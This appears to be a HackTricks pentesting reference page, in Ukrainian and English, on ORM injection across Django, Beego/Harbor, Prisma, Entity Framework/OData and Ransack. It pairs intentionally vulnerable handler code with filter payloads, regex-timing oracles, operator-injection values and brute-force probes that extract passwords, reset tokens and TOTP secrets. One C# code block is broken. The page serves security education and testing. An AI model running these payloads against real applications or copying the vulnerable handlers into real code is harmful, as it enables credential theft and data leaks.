ORM Injection
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Django ORM (Python)
In this post пояснюється, як можливо зробити Django ORM вразливим, використовуючи, наприклад, код такого вигляду:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Зверніть увагу, що весь request.data (який буде json) безпосередньо передається до filter objects from the database. Зловмисник може надіслати несподівані фільтри, щоб leak більше даних, ніж очікувалося.
Examples:
- Login: У простому Login намагайтеся leak passwords користувачів, зареєстрованих у ньому.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Можливо brute-force password, доки він не leaked.
- Relational filtering: Можна проходити по зв’язках, щоб leak інформацію з колонок, які навіть не очікувалося використовувати в операції. Наприклад, якщо можливо leak статті, створені користувачем, з такими зв’язками: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Можна знайти паролі всіх користувачів, які створили статтю
- Many-to-many relational filtering: У попередньому прикладі ми не могли знайти паролі користувачів, які не створювали статтю. Однак, простеживши інші зв’язки, це можливо. Наприклад: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
У цьому випадку ми можемо знайти всіх користувачів у відділах користувачів, які створювали статті, і потім leak їхні паролі (у попередньому json ми просто leak імена користувачів, але потім можливо leak паролі).
- Abusing Django Group and Permission many-to-may relations with users: Крім того, модель AbstractUser використовується для створення користувачів у Django і за замовчуванням ця модель має деякі many-to-many relationships with the Permission and Group tables. Це по суті стандартний спосіб access other users from one user, якщо вони в same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: Той самий блогпост пропонував обійти використання деякої фільтрації, наприклад
articles = Article.objects.filter(is_secret=False, **request.data). Можна dump статті, у яких is_secret=True, оскільки можна повернутися по зв’язку до таблиці Article і leak секретні статті через несекретні: результати з’єднуються, поле is_secret перевіряється у несекретній статті, тоді як дані leak із секретної статті.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Зловживаючі відносинами, можна обійти навіть фільтри, призначені для захисту відображених даних.
- Error/Time based via ReDoS: У попередніх прикладах очікувалося отримувати різні відповіді залежно від того, спрацював фільтр чи ні, щоб використовувати це як oracle. Але може статися, що в базі даних виконується якась дія і відповідь завжди однакова. У такому сценарії можливо спричинити помилку бази даних, щоб отримати новий oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
З того самого поста щодо цього вектора:
- SQLite: Не має оператора regexp за замовчуванням (потребує завантаження стороннього розширення)
- PostgreSQL: Не має таймауту regex за замовчуванням і менш схильний до backtracking
- MariaDB: Не має таймауту regex
Beego ORM (Go) & Harbor Filter Oracles
Beego віддзеркалює DSL Django field__operator, тому будь-який обробник, який дозволяє користувачам контролювати перший аргумент у QuerySeter.Filter() відкриває весь граф зв’язків:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Запити на кшталт /search?filter=created_by__user__password__icontains=pbkdf можуть переходити через foreign keys точно так само, як Django primitives вище. Harbor’s q helper парсив введення користувача у Beego filters, тож користувачі з обмеженими привілеями могли probe secrets, спостерігаючи list responses:
GET /api/v2.0/users?q=password=~$argon2id$→ виявляє, чи будь-який hash містить$argon2id$.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Підрахунок повернутих рядків, спостереження за pagination metadata або порівняння response lengths дає oracle для brute-force повних hashes, salts і TOTP seeds.
Обхід патчів Harbor за допомогою parseExprs
Harbor намагався захистити чутливі поля, позначаючи їх тегом filter:"false" і валідуючи тільки перший сегмент виразу:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.
v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abc → Filter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
Prisma ORM (NodeJS)
The following are tricks extracted from this post.
- Повний find контроль:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
It’s possible to see that the whole javascript body is passed to prisma to perform queries.
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Наступний запит вибирає всі пости, створені кимось з паролем, і поверне пароль:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Повний контроль над where-умовою:
Давайте поглянемо на приклад, де атака може контролювати where-умову:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Можна безпосередньо відфільтрувати пароль користувачів, наприклад:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Використання операцій на кшталт
startsWithможе дозволити leak інформацію.
- Обхід фільтрації у many-to-many реляційних зв’язках:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Можна leak неопубліковані статті, повернувшись до many-to-many зв’язків між Category -[*..*]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
Також можливо leak усіх користувачів, зловживаючи деякими циклічними багато-до-багатьох відношеннями:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: У оригінальному дописі наведено дуже широкий набір тестів, виконаних для підбору оптимального payload для leak інформації за допомогою time based payload. Ось:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Де {CONTAINS_LIST} — список із 1000 рядків, щоб переконатися, що відповідь затримується, коли знайдено правильний leak.
Type confusion on where filters (operator injection)
Prisma’s query API приймає або примітивні значення, або об’єкт-оператори. Якщо обробники припускають, що тіло запиту містить прості рядки, але передають їх безпосередньо в where, зловмисники можуть підсувати оператори в процеси автентифікації й обходити перевірки токенів.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Поширені вектори примусу:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ відповідає кожному користувачу, чий токен неE. - URL-encoded body з
extended: true:resetToken[not]=E&password=newpassперетворюється на той самий об’єкт. - Query string в Express <5 або з розширеними парсерами:
/reset?resetToken[contains]=argon2leaks substring matches. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}якщо cookies пересилаються до Prisma.
Оскільки Prisma охоче інтерпретує { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... } тощо, будь-яка перевірка рівності секретів (reset tokens, API keys, magic links) може бути розширена у предикат, який спрацьовує без знання секрету. Поєднайте це з реляційними фільтрами (createdBy), щоб вибрати жертву.
Шукайте сценарії, де:
- Схеми запитів не застосовуються, тому вкладені об’єкти залишаються після десеріалізації.
- Розширені парсери тіла/запиту залишаються ввімкненими і приймають синтаксис з дужками.
- Обробники пересилають JSON користувача безпосередньо в Prisma замість відображення на дозволені поля/оператори.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Зловживання Microsoft TextFilter helper для leaks
```csharp IQueryableХелпери, які перебирають кожну строкову властивість і обгортають її у .Contains(term), фактично відкривають passwords, API tokens, salts та TOTP secrets будь‑якому користувачеві, який може викликати endpoint. Directus CVE-2025-64748 — реальний приклад, де directus_users search endpoint включав token і tfa_secret у згенеровані LIKE предикати, перетворюючи підрахунки результатів на leak oracle.
OData comparison oracles
ASP.NET OData controllers часто повертають IQueryable<T> і дозволяють $filter, навіть коли функції на кшталт contains відключені. Допоки EDM відкриває властивість, зловмисники все одно можуть виконувати порівняння за нею:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
Сам факт наявності або відсутності результатів (або метаданих пагінації) дозволяє бінарно шукати кожен символ відповідно до сортування бази даних. Навігаційні властивості (CreatedBy/Token, CreatedBy/User/Password) дають змогу виконувати реляційні pivots, схожі на Django/Beego, тож будь-який EDM, який відкриває доступ до конфіденційних полів або не застосовує заборони на рівні окремих властивостей, є легкою мішенню.
Бібліотеки та middleware, які перетворюють рядки користувача на ORM-оператори (наприклад, Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers), слід розглядати як місця високого ризику, якщо вони не реалізують суворі списки дозволених полів/операторів.
Ransack (Ruby)
Ці трюки були знайдені в цій статті.
Tip
Зауважте, що Ransack 4.0.0.0 тепер вимагає використання явного списку дозволених атрибутів для пошуку та асоціацій.
Уразливий приклад:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Зверніть увагу, як запит буде визначено параметрами, надісланими attacker. Наприклад, було можливо brute-force reset token за допомогою:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
За допомогою brute-forcing і, можливо, використовуючи зв’язки, можна leak більше даних із бази даних.
Collation-aware leak strategies
Порівняння рядків успадковують колацію бази даних, тому leak-оракули повинні бути спроєктовані з урахуванням того, як бекенд впорядковує символи:
- За замовчуванням колації MariaDB/MySQL/SQLite/MSSQL часто нечутливі до регістру, тому
LIKE/=не можуть відрізнитиaвідA. Використовуйте регістрозалежні оператори (regex/GLOB/BINARY), коли важлива регістрова різниця секрету. - Prisma та Entity Framework віддзеркалюють порядкування бази даних. Collations, такі як MSSQL’s
SQL_Latin1_General_CP1_CI_AS, розміщують пунктуацію перед цифрами та літерами, тому binary-search probes мають слідувати цьому порядку, а не сирому порядку байтів ASCII. - У SQLite
LIKEнечутливий до регістру, якщо не зареєстрована кастомна колація, тому Django/Beego leak-ам може знадобитися предикат__regex, щоб відновити регістрозалежні токени.
Калібрування payloads під фактичну колацію уникає марних probes і значно пришвидшує автоматизовані substring/binary-search атаки.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


